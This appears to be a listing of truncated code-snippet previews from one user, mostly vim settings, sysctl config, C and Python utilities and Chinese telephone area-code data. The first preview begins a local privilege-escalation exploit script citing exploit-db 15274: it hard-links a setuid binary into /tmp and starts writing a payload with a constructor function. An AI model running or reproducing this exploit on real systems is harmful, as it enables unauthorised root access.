chao-he

#!/bin/sh
# see: http://www.exploit-db.com/exploits/15274/
mkdir /tmp/exploit
ln /bin/ping /tmp/exploit/target
exec 3< /tmp/exploit/target
rm -rf /tmp/exploit/

cat >payload.c <<EOF
void __attribute__((constructor)) init()
{

chao-he

" how many lines of history VIM has to remember
set history=100

" Enable filetype plugin
filetype plugin on
filetype indent on

" Set to auto read when file changed outside
set autoread

chao-he

#include <string>
#include <sstream>
#include <cstdint>
#include <cmath>

namespace MapPoint
{
    const double kEarthRadius = 6378137;
    const double kMinLatitude = -85.05112878;
    const double kMaxLatitude = 85.05112878;

chao-he

import numpy as np


def read_matrix(fname):
    x,y,z = [],[],[]
    with open(fname) as f:
        max_v, max_u = -1, -1
        for l in open(fname):
            u,v,c = l.strip().split()
            u,v,c = (int(u), int(v), float(c))

chao-he

#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <ctype.h>

typedef uint32_t u32;
typedef uint16_t u16;
typedef uint8_t  u8;

chao-he

# Kernel sysctl configuration file for Red Hat Linux
#
# For binary values, 0 is disabled, 1 is enabled.  See sysctl(8) and
# sysctl.conf(5) for more details.

# Controls IP packet forwarding
net.ipv4.ip_forward = 0

# Controls source route verification

chao-he

1	021	上海	shanghai
2	010	北京	beijing
3	0571	杭州	hangzhou
4	020	广州	guangzhou
5	025	南京	nanjing
6	0512	苏州	suzhou
7	0755	深圳	shenzhen
8	028	成都	chengdu
9	023	重庆	chongqing
10	022	天津	tianjin

chao-he

{"0835": ["雅安市"], "0834": ["凉山彝族自治州"], "0837": ["阿坝藏族羌族自治州"], "0836": ["甘孜藏族自治州"], "0831": ["宜宾市"], "0830": ["泸州市"], "0833": ["乐山市", "眉山市"], "0832": ["内江市", "资阳市"], "0839": ["广元市"], "0838": ["德阳市"], "0546": ["东营市"], "0938": ["天水市"], "0939": ["陇南市"], "0543": ["滨州市"], "0429": ["葫芦岛市"], "0934": ["庆阳市"], "0427": ["盘锦市"], "0936": ["张掖市"], "0937": ["嘉峪关市", "酒泉市"], "0930": ["临夏回族自治州"], "0931": ["兰州市"], "0932": ["定西市"], "0421": ["朝阳市"], "0635": ["聊城市"], "0634": ["莱芜市"], "0633": ["日照市"], "0632": ["枣庄市"], "0631": ["威海市"], "0722": ["随州市"], "0473": ["乌海市"], "0472": ["包头市"], "0335": ["秦皇岛市"], "0372": ["安阳市"], "0373": ["新乡市"], "0853": ["安顺市"], "0852": ["遵义市"], "0851": ["贵阳市"], "0857": ["毕节市"], "0856": ["铜仁市"], "0855": ["黔东南苗族侗族自治州"], "0854": ["黔南布依族苗族自治州"], "0859": ["黔西南布依族苗族自治州"], "0858": ["六盘水市"], "0523": ["泰州市"], "0919": ["铜川市"], "0527": ["宿迁市"], "0912": ["榆林市"], "0913": ["渭南市"], "0911": ["延安市"], "0916": ["汉中市"], "0917": ["宝鸡市"], "0914": ["商洛市"], "0915": ["安康市"], "0754": ["汕头市"], "0755": ["深圳市"], "0756": ["珠海市"], "0757"

chao-he

" how many lines of history VIM has to remember
set history=100

" Enable filetype plugin
filetype plugin on
filetype indent on

" Set to auto read when file changed outside
set autoread

chao-he

#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

struct stream {
    char *beg;
    char *end;
    char *cur;
    char *save;